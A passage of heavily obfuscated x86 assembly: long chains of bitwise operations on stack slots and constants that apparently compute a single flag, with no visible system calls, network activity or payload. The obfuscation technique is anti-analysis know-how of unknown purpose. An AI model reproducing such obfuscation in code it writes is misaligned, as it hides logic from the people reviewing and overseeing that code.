mov eax, dword [ebp - 0x4108]
mov ebx, dword [ebp - 0x410c]
or eax, ebx
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x4110]
or ebx, 0xdb3935db
and eax, ebx
or ecx, eax
mov eax, dword [ebp - 0x40fc]
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x411c]
xor ebx, 0xffffffff
mov dword [ebp - 0x4120], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xf966b4f8
mov dword [ebp - 0x4124], eax
mov eax, dword [ebp - 0x4120]
and eax, 0xf966b4f8
mov dword [ebp - 0x4128], eax
mov eax, dword [ebp - 0x40fc]
mov dword [ebp - 0x412c], ecx
mov ecx, dword [ebp - 0x4124]
and eax, ecx
mov ecx, ebx
and ecx, 0xf966b4f8
mov dword [ebp - 0x4130], eax
mov eax, dword [ebp - 0x411c]
mov dword [ebp - 0x4134], ecx
mov ecx, dword [ebp - 0x4124]
and eax, ecx
mov ecx, dword [ebp - 0x4128]
mov dword [ebp - 0x4138], eax
mov eax, dword [ebp - 0x4130]
or ecx, eax
mov eax, dword [ebp - 0x4134]
mov dword [ebp - 0x413c], ecx
mov ecx, dword [ebp - 0x4138]
or eax, ecx
mov ecx, dword [ebp - 0x413c]
xor ecx, eax
mov eax, dword [ebp - 0x4120]
or eax, ebx
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x4124]
or ebx, 0xf966b4f8
and eax, ebx
or ecx, eax
mov eax, dword [ebp - 0x412c]
xor eax, 0xffffffff
and eax, 0x720ffaf
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x720ffaf
mov dword [ebp - 0x4140], eax
mov eax, dword [ebp - 0x412c]
and eax, ebx
mov dword [ebp - 0x4144], eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x720ffaf
and ecx, ebx
mov ebx, dword [ebp - 0x4140]
mov dword [ebp - 0x4148], eax
mov eax, dword [ebp - 0x4144]
or ebx, eax
mov eax, dword [ebp - 0x4148]
or eax, ecx
xor ebx, eax
mov eax, dword [ebp - 0x40f4]
and eax, esi
mov ecx, dword [ebp - 0x40f4]
xor ecx, esi
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
and eax, esi
or ecx, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xe7db4ef6
mov esi, edi
xor esi, 0xffffffff
mov dword [ebp - 0x414c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x2a05f5b7
mov dword [ebp - 0x4150], eax
mov eax, dword [ebp - 0x414c]
and eax, 0x2a05f5b7
mov dword [ebp - 0x4154], eax
mov eax, dword [ebp - 0x4150]
and eax, 0xe7db4ef6
mov dword [ebp - 0x4158], eax
mov eax, esi
and eax, 0x2a05f5b7
mov dword [ebp - 0x415c], eax
mov eax, dword [ebp - 0x4150]
and edi, eax
mov eax, dword [ebp - 0x4154]
mov dword [ebp - 0x4160], ecx
mov ecx, dword [ebp - 0x4158]
or eax, ecx
mov ecx, dword [ebp - 0x415c]
or ecx, edi
xor eax, ecx
mov ecx, dword [ebp - 0x414c]
or ecx, esi
xor ecx, 0xffffffff
mov esi, dword [ebp - 0x4150]
or esi, 0x2a05f5b7
and ecx, esi
or eax, ecx
mov ecx, dword [ebp - 0x4160]
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0x5be22b3
or ecx, eax
or esi, 0x5be22b3
xor ecx, 0xffffffff
and ecx, esi
mov eax, ebx
xor eax, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0x2ccd7b28
mov dword [ebp - 0x4164], eax
and eax, 0x2ccd7b28
and ebx, edi
mov dword [ebp - 0x4168], eax
mov eax, esi
and eax, 0x2ccd7b28
and ecx, edi
mov dword [ebp - 0x416c], eax
mov eax, dword [ebp - 0x4168]
or eax, ebx
mov ebx, dword [ebp - 0x416c]
or ebx, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x4164]
or ecx, esi
xor ecx, 0xffffffff
or edi, 0x2ccd7b28
and ecx, edi
or eax, ecx
mov ecx, dword [ebp - 0x40dc]
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
mov edi, dword [ebp - 0x40dc]
and edi, esi
or ecx, edi
mov esi, dword [ebp - 0x4054]
xor esi, 0xb5573dd9
xor ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0x1c771f2c
or esi, ecx
or edi, 0x1c771f2c
xor esi, 0xffffffff
and esi, edi
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xb5573dd9
and ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0xb5573dd9
or ecx, edi
mov edi, dword [ebp - 0x40dc]
xor edi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x4170], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xc2ea2e61
or edi, ebx
or eax, 0xc2ea2e61
xor edi, 0xffffffff
and edi, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x666796b9
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x666796b9
mov dword [ebp - 0x4174], eax
mov eax, ebx
and eax, 0xffffffff
mov dword [ebp - 0x4178], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x666796b9
and ebx, 0xffffffff
mov dword [ebp - 0x417c], eax
mov eax, dword [ebp - 0x4174]
mov dword [ebp - 0x4180], ecx
mov ecx, dword [ebp - 0x4178]
or eax, ecx
mov ecx, dword [ebp - 0x417c]
or ecx, ebx
xor eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xb5573dd9
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xac8e6f37
or eax, ecx
or ebx, 0xac8e6f37
xor eax, 0xffffffff
and eax, ebx
mov ecx, dword [ebp - 0x4180]
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov ebx, esi
xor ebx, 0xffffffff
mov dword [ebp - 0x4184], eax
mov eax, edi
xor eax, 0xffffffff
mov dword [ebp - 0x4188], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x70dda530
mov dword [ebp - 0x418c], eax
mov eax, ebx
and eax, 0x70dda530
mov dword [ebp - 0x4190], eax
mov eax, dword [ebp - 0x418c]
and esi, eax
mov eax, dword [ebp - 0x4188]
and eax, 0x70dda530
mov dword [ebp - 0x4194], eax
mov eax, dword [ebp - 0x418c]
and edi, eax
mov eax, dword [ebp - 0x4190]
or eax, esi
mov esi, dword [ebp - 0x4194]
or esi, edi
xor eax, esi
mov esi, dword [ebp - 0x4188]
or ebx, esi
xor ebx, 0xffffffff
mov edi, dword [ebp - 0x418c]
or edi, 0x70dda530
and ebx, edi
or eax, ebx
mov edi, dword [ebp - 0x4184]
and edi, ecx
mov ebx, dword [ebp - 0x4184]
xor ebx, ecx
or edi, ebx
mov ecx, eax
xor ecx, 0xffffffff
mov ebx, edi
and ebx, ecx
xor edi, 0xffffffff
and eax, edi
or ebx, eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ebx, ecx
or eax, ebx
mov ecx, dword [ebp - 0x4170]
xor ecx, 0xffffffff
and ecx, 0xc0d64209
mov edi, dword [ebp - 0x4054]
xor edi, 0xc0d64209
mov ebx, dword [ebp - 0x4170]
and ebx, edi
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
and esi, 0xc0d64209
and edi, 0xffffffff
or ecx, ebx
or esi, edi
xor ecx, esi
mov esi, dword [ebp - 0x4054]
xor esi, 0x53b2435a
and esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0x53b2435a
or esi, edi
mov edi, eax
and edi, ecx
xor eax, ecx
or edi, eax
mov eax, esi
and eax, 0x53b2435a
xor esi, 0x53b2435a
or eax, esi
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xc9c1970d
mov esi, dword [ebp - 0x4054]
xor esi, 0xc9c1970d
and edi, esi
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0xc9c1970d
and esi, 0xffffffff
or ecx, edi
or ebx, esi
xor ecx, ebx
xor eax, 0xffffffff
mov esi, ecx
xor esi, eax
and esi, ecx
cmp esi, 0
setne al
mov ah, al
xor ah, 0xff
and ah, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov ch, al
and ch, cl
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, al
xor ch, 0xff
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, ah
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x4195], al
mov al, cl
and al, 0xff
and ah, bh
mov byte [ebp - 0x4196], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x4197], al
mov al, byte [ebp - 0x4196]
or al, ah
mov ah, byte [ebp - 0x4197]
or ah, ch
xor al, ah
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
mov ch, ah
and ch, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and al, ch
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0xff
and ch, 1
or ah, al
or bl, ch
xor ah, bl
mov al, byte [ebp - 0x4029]
xor al, 0
and al, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
or al, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov ah, al
xor ah, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x4198], al
mov al, bl
and al, 0
mov byte [ebp - 0x4199], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x419a], al
mov al, byte [ebp - 0x4198]
and al, bl
mov byte [ebp - 0x419b], al
mov al, byte [ebp - 0x4199]
or bh, al
mov al, byte [ebp - 0x419a]
mov byte [ebp - 0x419c], cl
mov cl, byte [ebp - 0x419b]
or al, cl
xor bh, al
mov al, byte [ebp - 0x419c]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and ch, cl
or al, ch
xor al, 0xff
xor bh, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
or cl, ah
mov ah, byte [ebp - 0x4029]
xor ah, 1
xor cl, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, byte [ebp - 0x4029]
xor ch, 1
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, ah
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x419d], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0x419e], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x419f], al
mov al, byte [ebp - 0x419e]
or al, ah
mov ah, byte [ebp - 0x419f]
or ah, ch
xor al, ah
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x4195]
xor al, 0xff
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, byte [ebp - 0x4195]
and ch, ah
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ah
or al, ch
or bl, cl
xor al, bl
xor al, 0xff
mov cl, byte [ebp - 0x4195]
xor cl, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 0
or al, cl
or ah, 0
xor al, 0xff
and al, ah
mov cl, byte [ebp - 0x419d]
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, byte [ebp - 0x419d]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, al
and bl, ch
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, byte [ebp - 0x4029]
xor ch, 0
and ch, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
or ch, bl
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, cl
xor bh, bl
and bh, cl
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x41a0], al
mov al, byte [ebp - 0x419d]
xor al, bl
mov bl, byte [ebp - 0x419d]
and al, bl
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x41a1], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x41a2], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x41a3], al
mov al, byte [ebp - 0x41a2]
or bl, al
mov al, byte [ebp - 0x41a3]
or al, 0
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x41a0]
xor al, 0xff
mov byte [ebp - 0x41a4], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x41a5], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x41a6], al
mov al, byte [ebp - 0x41a4]
mov byte [ebp - 0x41a7], cl
mov cl, byte [ebp - 0x41a5]
or al, cl
mov cl, byte [ebp - 0x41a6]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x41a8], al
mov al, byte [ebp - 0x41a1]
xor al, 0xff
mov byte [ebp - 0x41a9], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x41aa], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x41ab], al
mov al, byte [ebp - 0x41aa]
and bh, al
mov al, byte [ebp - 0x41a9]
and al, 0xff
mov byte [ebp - 0x41ac], al
mov al, byte [ebp - 0x41a1]
mov byte [ebp - 0x41ad], cl
mov cl, byte [ebp - 0x41aa]
and al, cl
mov cl, byte [ebp - 0x41ab]
or cl, bh
mov bh, byte [ebp - 0x41ac]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x41ad]
mov bh, byte [ebp - 0x41a9]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x41aa]
or bh, 1
and al, bh
or cl, al
mov al, bl
xor al, 0xff
mov bh, byte [ebp - 0x41a8]
xor bh, 0xff
mov byte [ebp - 0x41ae], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x41af], al
mov al, byte [ebp - 0x41ae]
and al, 0
mov byte [ebp - 0x41b0], al
mov al, byte [ebp - 0x41af]
and bl, al
mov al, bh
and al, 0
mov byte [ebp - 0x41b1], al
mov al, byte [ebp - 0x41a8]
mov byte [ebp - 0x41b2], cl
mov cl, byte [ebp - 0x41af]
and al, cl
mov cl, byte [ebp - 0x41b0]
or cl, bl
mov bl, byte [ebp - 0x41b1]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x41ae]
or al, bh
xor al, 0xff
mov bl, byte [ebp - 0x41af]
or bl, 0
and al, bl
or cl, al
mov al, byte [ebp - 0x41b2]
xor al, 0xff
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, byte [ebp - 0x41b2]
and bh, bl
mov byte [ebp - 0x41b3], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
mov bl, byte [ebp - 0x41b3]
or bl, bh
or al, cl
xor bl, al
mov al, byte [ebp - 0x41a7]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x41b4], al
and al, 0
mov byte [ebp - 0x41b5], al
mov al, byte [ebp - 0x41a7]
and al, bh
mov byte [ebp - 0x41b6], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0x41b7], al
mov al, byte [ebp - 0x41b5]
mov byte [ebp - 0x41b8], cl
mov cl, byte [ebp - 0x41b6]
or al, cl
mov cl, byte [ebp - 0x41b7]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x41b4]
mov ah, byte [ebp - 0x41b8]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x4029]
xor al, 0
mov bh, ch
xor bh, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov byte [ebp - 0x41b9], al
and al, 0xff
mov byte [ebp - 0x41ba], al
mov al, ah
and al, 0
mov byte [ebp - 0x41bb], al
mov al, bh
and al, 0xff
and ch, ah
mov byte [ebp - 0x41bc], al
mov al, byte [ebp - 0x41ba]
mov byte [ebp - 0x41bd], cl
mov cl, byte [ebp - 0x41bb]
or al, cl
mov cl, byte [ebp - 0x41bc]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x41b9]
or cl, bh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x41bd]
xor cl, 0xff
xor al, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, bl
and al, cl
xor bl, cl
or al, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, al
and ch, ah
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, ah
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 1
or ch, bh
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x41be], al
mov al, ch
xor al, bh
and al, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ch, ah
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ah
or al, ch
or bl, cl
xor al, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and al, ah
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0xff
and ah, 1
or cl, al
or ch, ah
xor cl, ch
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
mov ch, ah
and ch, 1
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ah
or al, ch
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, al
xor ah, cl
and ah, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
or cl, ch
mov ch, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x41bf], al
mov al, byte [ebp - 0x4029]
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, byte [ebp - 0x41bf]
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x41c0], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x41c1], al
mov al, byte [ebp - 0x41c0]
and al, 0xff
mov byte [ebp - 0x41c2], al
mov al, byte [ebp - 0x41bf]
mov byte [ebp - 0x41c3], cl
mov cl, byte [ebp - 0x41c1]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x41c4], al
mov al, byte [ebp - 0x41c1]
and ch, al
mov al, byte [ebp - 0x41c2]
mov byte [ebp - 0x41c5], cl
mov cl, byte [ebp - 0x41c4]
or al, cl
mov cl, byte [ebp - 0x41c5]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x41c0]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x41c1]
or ch, 1
and cl, ch
or al, cl
mov cl, bl
mov ch, byte [ebp - 0x41c3]
and cl, ch
xor bl, ch
or cl, bl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and al, bh
mov ch, cl
xor ch, 0xff
and ch, 0xff
and cl, bh
or bl, al
or ch, cl
xor bl, ch
mov al, bl
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and bl, cl
or al, bl
mov cl, byte [ebp - 0x41be]
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x41be]
and cl, al
or ch, cl
mov al, byte [ebp - 0x41be]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, ah
xor al, 0xff
and al, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bl, ah
and bl, ch
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, cl
and bh, bl
mov byte [ebp - 0x41c6], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x41c7], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x41c8], al
mov al, byte [ebp - 0x41c7]
or al, bh
mov bh, byte [ebp - 0x41c8]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, byte [ebp - 0x41c6]
xor bh, bl
mov bl, byte [ebp - 0x41c6]
and bh, bl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x41c9], al
mov al, byte [ebp - 0x4029]
xor al, 0
or ah, bl
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov byte [ebp - 0x41ca], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x41cb], al
mov al, byte [ebp - 0x41ca]
or al, bl
mov bl, byte [ebp - 0x41cb]
or bl, 0
xor al, 0xff
and al, bl
xor cl, 0xff
mov bl, byte [ebp - 0x41c9]
xor bl, 0xff
mov byte [ebp - 0x41cc], al
mov al, byte [ebp - 0x4029]
xor al, 1
or cl, bl
or al, 1
xor cl, 0xff
and cl, al
mov al, bh
and al, ah
xor bh, ah
or al, bh
mov ah, byte [ebp - 0x41cc]
and ah, cl
mov bl, byte [ebp - 0x41cc]
xor bl, cl
or ah, bl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
and al, bl
mov bh, ah
xor bh, 0xff
and bh, 0
and ah, bl
or cl, al
or bh, ah
xor cl, bh
mov al, byte [ebp - 0x41c6]
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x41cd], al
mov al, byte [ebp - 0x41c6]
and al, bl
mov byte [ebp - 0x41ce], al
mov al, ah
and al, 0
and ch, bl
mov byte [ebp - 0x41cf], al
mov al, byte [ebp - 0x41ce]
or bh, al
mov al, byte [ebp - 0x41cf]
or al, ch
xor bh, al
mov al, byte [ebp - 0x41cd]
or al, ah
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
and bh, ah
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
and ah, 1
or al, bh
or ch, ah
xor al, ch
mov ah, byte [ebp - 0x41c9]
and ah, 1
mov ch, byte [ebp - 0x41c9]
xor ch, 1
or ah, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
and al, 1
movzx esi, al
shl esi, 4
add edx, esi
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
mov edi, esi
xor edi, 0xffffffff
and edi, 0x6a59459c
mov eax, dword [ebp - 0x4054]
xor eax, 0x6a59459c
mov ecx, esi
and ecx, eax
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0x6a59459c
and eax, 0xffffffff
or edi, ecx
or ebx, eax
xor edi, ebx
xor edi, 0xffffffff
xor edi, 0xfba3de69
and edi, 0xfba3de69
mov eax, dword [ebp - 0x4054]
xor eax, 0xfba3de69
and eax, 0x65d3fbb0
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x65d3fbb0
mov ebx, ecx
and ebx, 0xfba3de69
mov dword [ebp - 0x41d4], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x65d3fbb0
and ecx, 0xffffffff
mov dword [ebp - 0x41d8], eax
mov eax, dword [ebp - 0x41d4]
or eax, ebx
mov ebx, dword [ebp - 0x41d8]
or ebx, ecx
xor eax, ebx
mov ecx, eax
xor ecx, 0xffffffff
mov ebx, esi
xor ebx, ecx
and ebx, esi
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ecx, 0x1d388c4e
mov esi, dword [ebp - 0x4054]
xor esi, 0x1d388c4e
mov dword [ebp - 0x41dc], eax
mov eax, esi
and eax, 0xffffffff
mov dword [ebp - 0x41e0], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x1d388c4e
and esi, 0xffffffff
mov dword [ebp - 0x41e4], eax
mov eax, dword [ebp - 0x41e0]
or ecx, eax
mov eax, dword [ebp - 0x41e4]
or eax, esi
xor ecx, eax
xor ecx, 0xffffffff
mov eax, dword [ebp - 0x4054]
xor eax, 0xfba3de69
mov esi, dword [ebp - 0x4054]
xor esi, 0xd3917d57
or ecx, eax
or esi, 0xd3917d57
xor ecx, 0xffffffff
and ecx, esi
mov eax, dword [ebp - 0x41dc]
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, edi
and esi, ebx
xor edi, ebx
or esi, edi
mov edi, ecx
xor edi, 0xffffffff
mov ebx, eax
xor ebx, 0xffffffff
mov dword [ebp - 0x41e8], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x448ebd5e
mov dword [ebp - 0x41ec], eax
mov eax, edi
and eax, 0x448ebd5e
mov dword [ebp - 0x41f0], eax
mov eax, dword [ebp - 0x41ec]
and ecx, eax
mov eax, ebx
and eax, 0x448ebd5e
mov dword [ebp - 0x41f4], eax
mov eax, dword [ebp - 0x41e8]
mov dword [ebp - 0x41f8], ecx
mov ecx, dword [ebp - 0x41ec]
and eax, ecx
mov ecx, dword [ebp - 0x41f0]
mov dword [ebp - 0x41fc], eax
mov eax, dword [ebp - 0x41f8]
or ecx, eax
mov eax, dword [ebp - 0x41f4]
mov dword [ebp - 0x4200], ecx
mov ecx, dword [ebp - 0x41fc]
or eax, ecx
mov ecx, dword [ebp - 0x4200]
xor ecx, eax
or edi, ebx
xor edi, 0xffffffff
mov eax, dword [ebp - 0x41ec]
or eax, 0x448ebd5e
and edi, eax
or ecx, edi
